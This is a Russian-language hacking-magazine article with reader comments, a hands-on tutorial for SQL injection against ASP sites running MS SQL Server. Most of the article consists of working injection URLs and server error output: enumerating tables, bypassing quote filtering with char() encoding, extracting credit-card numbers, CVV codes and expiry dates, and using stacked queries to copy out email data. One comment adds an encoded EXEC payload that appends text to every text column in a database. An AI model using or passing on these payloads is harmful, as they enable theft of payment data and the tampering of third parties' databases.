Карта сайта Хакер в RSS Энциклопедия Хакера PDA версия сайта Почтовые рассылки Хакера    Хакер в Twitter Хакер в ВКонтакте Приложение Хакер для Facebook Хакер на Formspring.me
Журнал Новости Форум Видео Life Xakep Live (блоги)
Bugtrack Статьи Блог Поиск English
Взлом как образ мысли Взлом как образ мысли
Интервью с человеком, который, как оказалось, является не только талантливым пентестером в одной из крупных ИБ-компании, но и хакером-ветераном, который уверенными шагами вышел на свет и прикоснулся к истории российской хак-сцены....
Полный гид по накрутке онлайн-голосований Полный гид по накрутке онлайн-голосований
Конкурсы с голосованием привлекают большое количество посетителей, а трафик, как известно, — это деньги. Особый интерес вызывают конкурсы, где за победу предлагаются лакомые призы....

Уловки охотника на MS SQL

Bookmark and Share

Я не буду рассказывать об азах инъекций в MS SQL, на эту тему написано и сказано уже очень много. Я хочу поделится некоторым своим опытом, набранным бессонными ночами, когда я ковырял гимморные ms sql инжекты и курил мануалы, пытаясь понять, что я делаю неправильно.

Итак, начнем с поиска инъекций на сайте. Иногда я встречал инжект в post запросах, в скриптах поиска по сайту или в скрипте напоминании пароля. В этом случае на традиционный запрос 1’+or+1=@@version-- скрипт будет ругаться примерно так:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'.
/inc/inc_customer.asp, line 103

ошибка возникает из за символа “+”, поэтому вот такой запрос:

1’ or 1=@@version--

в данном случае пройдет на ура и выдаст нам версию сервера.

Следующая проблема, которая вызывает массу вопросов у новичков, и которая в свое время тоже вогнала меня в ступор, это фильтрация кавычки. Она приводит к тому, что выполнив запрос:

http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)--

и получив имя первой таблицы, к примеру:

[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'Pincodes' to data type int.

мы не можем получить имя второй, и вместо нее видим ответ:

[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near 'Pincodes'.

В данном случае проблема может быть решена с помощью функции char(int ascii), превратив имя таблицы Pincodes в char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2B char(111)%2Bchar(100)%2Bchar(101)%2B char(115) и передав эти данные серверу:

http://www.target.com/dinamica.asp?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+ ( char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)%2Bchar(111)%2Bchar(100)%2Bchar(101)%2Bchar(115)))--

мы получим имя второй таблицы:

[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'PRODUCT' to data type int.

Самое главное, что если зачарить название таблицы, необходимость в кавычках пропадает. Чарим следующее имя таблицы и добавляем его через запятую, и так перебираем таблицу за таблицей. То же самое и с перебором полей в таблице, чарим имя таблицы и имена полей.

Идем дальше. Иногда хитромудрые админы употребляют в названии полей таблиц “-“, чем затрудняют вывод информации. К примеру:

http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+ cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast(cvv+as+nvarchar) %2B%27%3A%27%2Bcast(expire+as+nvarchar)+ from+orders+where+orderid=CRX-40003)--

в этом случае сервер отвечает:

Invalid column name 'CRX'.

так как часть имени поля, идущая после "-", обрезается. Это проблема обходиться в свою очередь добавлением кавычек вокруг названия проблемного поля:

http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast(cvv+as+nvarchar)%2B%27%3A%27%2Bcast(expire+as+nvarchar)+from+orders+where+orderid=’CRX-40003’)--

Иногда само название поля состоит из двух слов, между которыми находиться пробел:

http://www.target.com/dinamica.asp?ID=1+or+1=  (SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=‘orders'+ AND+COLUMN_NAME+NOT+IN+('Account%20Number','Card%20Number','Experation%20Date', 'CVV%20Response'))—

и в этом случае второе слово обрезается, что ставит некоторых новичков в тупик. Здесь проблема решается обрамлением квадратными кавычками такого названия:

http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+ TOP+1+[Card%20Number]+from+orders)--

И последнее. Иногда находишь таблицу с очень интересными данными, но вывод их становится сложной задачей, так как ничего подобного типа orderid нет и близко, как перебирать содержимое полей - непонятно. В этом случае лучшим решением будет создание новой таблицы с полем id и копированием в нее нужных нам данных:

http://www.target.com/dinamica.asp?ID=1;CREATE TABLE dbo.temp (Id int NOT NULL IDENTITY (1, 1), email varchar(255) NULL) ON [PRIMARY]; INSERT INTO temp (email) select email from orders;--

с последующим забором нужных нам данных:

http://www.target.com/dinamica.asp?ID=1+or+1= (SELECT+TOP+1+email+from+temp+where+id=1)--

И как закончишь, не забудь убрать за собой, удалив таблицу:

http://www.target.com/dinamica.asp?ID=1;drop table temp;--

Очень надеюсь, что поделившись с тобой моим скромным опытом, я уберег тебя от ночных нервотрепок и помог сделать процесс извлечения данных из MS SQL чуточку проще.



Теги: Microsoft SQL Server , SQL-инъекция





СЛЕДУЮЩИЕ СТАТЬИ
Бабло на малвари: как и сколько зарабатывают наши криминальные коллеги?
phpMyAdmin на лопатках: взлом известного движка с помощью нашумевшего бага в глобализации переменных
Критическая уязвимость в SSL вышла из разряда теоретических: исследователи выпустили программу для взлома шифрования
Cloud Hacking: облачные вычисления на службе у пентестера
Опасные обновления: заражение системы через механизм автоапдейтов
SCADA под прицелом: анализ защищенности АСУ ТП
Обратная связь DNS: продвинутый payload для организации туннеля
Сосед из ада: 18 лет тюрьмы за взлом Wi-Fi
Каждому хакеру – по VoIP: ищем и взламываем VoIP-шлюзы
Обратная связь DNS: обходим преграды и организовываем доступ в Сеть
ПРЕДЫДУЩИЕ СТАТЬИ
Терминальные бреши: взлом сетей платежных терминалов
Спутниковый шпионаж
Не бывает, что нет ошибок - бывает, что плохо искали
Доминирование для магазина: история 7-летней тележки
Взлом для фишинга: готовимся к рыбалке
Ломаем сайт с работой
Атака на NOD32
Секс-тур хакера
Взлом CAPTCHA: Мегафон
Bigmir.Net? И не будет!
ОБСУЖДЕНИЕ СТАТЬИ
Логин:
Пароль:
Если у вас есть форумный логин - вы можете использовать его, иначе анонимный гостевой доступ.

Для оставления комментария вы можете зарегистрироваться по упрощенной процедуре.

Обсуждение этой статьи на forum.xakep.ru
Для отправки сообщения введите код, указанный на картинке
Сообщение

UserГость
08.04.2008 9:20:54
Ответить Ссылка
Лажа полная. А если доступ к оишбке запрешен, и вместо нее выводится стандартная надпись, что тогда делать умник?
UserГость
08.04.2008 13:08:09
Ответить Ссылка
тогда иди в [censored] и читай там мануалы.
если думаешь что в такой крохотной статейке можно предусмотреть все варианты, то не лезь вообще с идиотскими комментами.
я вот пару интересных вещей узнал. афтары спасибо.
UserГость
09.04.2008 0:50:32
Ответить Ссылка
+1
User$taLker
09.04.2008 2:23:07
Ответить Ссылка
афтар молодец!!! +5
UserГость
09.04.2008 2:23:46
Ответить Ссылка
афтар молодец! +5
UserГость
10.04.2008 16:53:04
Ответить Ссылка
Норма. Я как раз нашел то что искал. +1
UserГость
11.04.2008 0:08:29
Ответить Ссылка
Я нихера не понял, но всеравно спасибо
+1
UserГость
12.04.2008 23:15:29
Ответить Ссылка
Афтар +1
Хорошый мануал.
UserГость
22.04.2008 13:08:14
Ответить Ссылка
Как включить компьютер не вводя пароль?
UserГость
23.04.2008 10:30:22
Ответить Ссылка
на системнике есть такая большая кнопка. Жамкай на нее :-)
UserГость
21.05.2008 18:19:54
Ответить Ссылка
?ID=1+or+1=

можно обойтись и без этого если передаваемый параметр типа инт ?ID=1 то можно сразу пихать так

?ID=convert(int,(select+user))--

Капча: 6000
UserГость
07.07.2008 11:03:17
Ответить Ссылка
Спасибо за статью.
я встречал вот такую инъекцию
она обходила фильтры на UPDATE и INSERT.

;DECLARE @S VARCHAR(666);SET @S=CAST(0x00..FF AS VARCHAR(666));EXEC(@S);--

здесь 666 длинна закодированной инструкции (666 только для примера - может быть произвольной)

0x00..FF сама инструкция - двоеточие это условное сокращение.

если заменить последюю инструкцию EXEC на PRINT то инструкция расрывалась примерно так.

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(666),['+@C+']))+''
TEXT FOR UPDATE''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

так что Фильтры не панацея от всех инъекций.




Keywords: zPOSTz zHACKz, zINFOz, zINTERNETz z43124z
Для Авторов: edit Lock delete Lock



    Rambler's Top100